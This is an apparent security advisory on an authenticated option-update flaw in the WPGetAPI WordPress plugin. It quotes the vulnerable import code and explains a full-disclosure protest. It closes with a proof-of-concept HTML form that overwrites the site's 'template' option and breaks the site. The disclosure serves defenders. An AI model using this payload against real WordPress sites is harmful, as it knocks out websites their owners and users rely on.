Our Proactive Monitoring Caught an Authenticated Option Update Vulnerability Being Introduced in to WPGetAPI
One way we help to improve the security of WordPress plugins, not just for our customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that, we caught a variant of one of those vulnerabilities, an authenticated option update vulnerability being introduced in to the plugin WPGetAPI. The vulnerability allows anyone logged in to WordPress to break the website.
The vulnerable code comes from a new import feature of the plugin. The related new export feature looks to be similarly insecure as well.
We now are also running all the code in the plugins used by our customers through that monitoring system on a weekly basis to provide additional protection for them.
The possibility of this vulnerability is also flagged by our Plugin Security Checker, so you can check plugins you use to see if they might have similar issues with that tool. That tool identified additional security issues in the plugin, as well.
We tested and confirmed that our firewall plugin for WordPress protected against the type of exploitation of this vulnerability shown in the proof of concept, even before we discovered the vulnerability, as part of its protection against zero-day vulnerabilities.
Authenticated Option Update
In the file /includes/class-admin-options.php, the function import_endpoints() is registered to be AJAX accessible to anyone logged in to WordPress:
102 | add_action( 'wp_ajax_wpgetapi_import_endpoints', array( $this, 'import_endpoints' ) ); |
That function will update an arbitrary WordPress option (setting) specified by the POST input “api_id” to a value based in part the POST input “textarea”:
641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 | public function import_endpoints() { $api_id = sanitize_text_field( $_POST['api_id'] ); $textarea = sanitize_textarea_field( $_POST['textarea'] ); $existing_data = get_option( $api_id ); if( ! $textarea ) { echo 'No data found.'; wp_die(); } $new_data = json_decode( stripslashes( $textarea ), true ); if( ! isset( $new_data['endpoints'] ) ){ echo 'No endpoints found.'; wp_die(); } $encryption = new WpGetApi_Encryption(); foreach ( $new_data['endpoints'] as $i => $endpoint ) { if( isset( $endpoint['query_parameters'] ) ) { foreach ( $endpoint['query_parameters'] as $i2 => $query_parameters ) { if( isset( $query_parameters['value'] ) ) $new_data['endpoints'][ $i ]['query_parameters'][ $i2 ]['value'] = $encryption->encrypt( $query_parameters['value'] ); } } if( isset( $endpoint['header_parameters'] ) ) { foreach ( $endpoint['header_parameters'] as $i2 => $header_parameters ) { if( isset( $header_parameters['value'] ) ) $new_data['endpoints'][ $i ]['header_parameters'][ $i2 ]['value'] = $encryption->encrypt( $header_parameters['value'] ); } } if( isset( $endpoint['body_parameters'] ) ) { foreach ( $endpoint['body_parameters'] as $i2 => $body_parameters ) { if( isset( $body_parameters['value'] ) ) $new_data['endpoints'][ $i ]['body_parameters'][ $i2 ]['value'] = $encryption->encrypt( $body_parameters['value'] ); } } } // if no existing endpoints, simply add it if( ! $existing_data ) { update_option( $api_id, $new_data ); } else { $merged['endpoints'] = array_merge( $existing_data['endpoints'], $new_data['endpoints'] ); update_option( $api_id, $merged ); |
There should be a capabilities check to limit what user can access that functionality, a nonce check to prevent cross-site request forgery (CSRF), and a restriction on what options can be updated.
The code does restrict what the new value of the option can be, limiting the impact of the vulnerability, but it still can be used to break the website, as can be seen with the proof of concept below.
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
After four years, the moderators have finally tacitly admitted they were behaving inappropriately and have made moves to fix the problems (though incompletely), so these full disclosures can be ended if they simply restore access to our accounts and plugins in the Plugin Directory. Hopefully that takes less than four years.
Proof of Concept
The following proof of concept will break the website, when logged in to WordPress.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=wpgetapi_import_endpoints" method="POST"> <input type="hidden" name="api_id" value="template" /> <input type="hidden" name="textarea" value='{ "endpoints": "test" }' /> <input type="submit" value="Submit" /> </form> </body>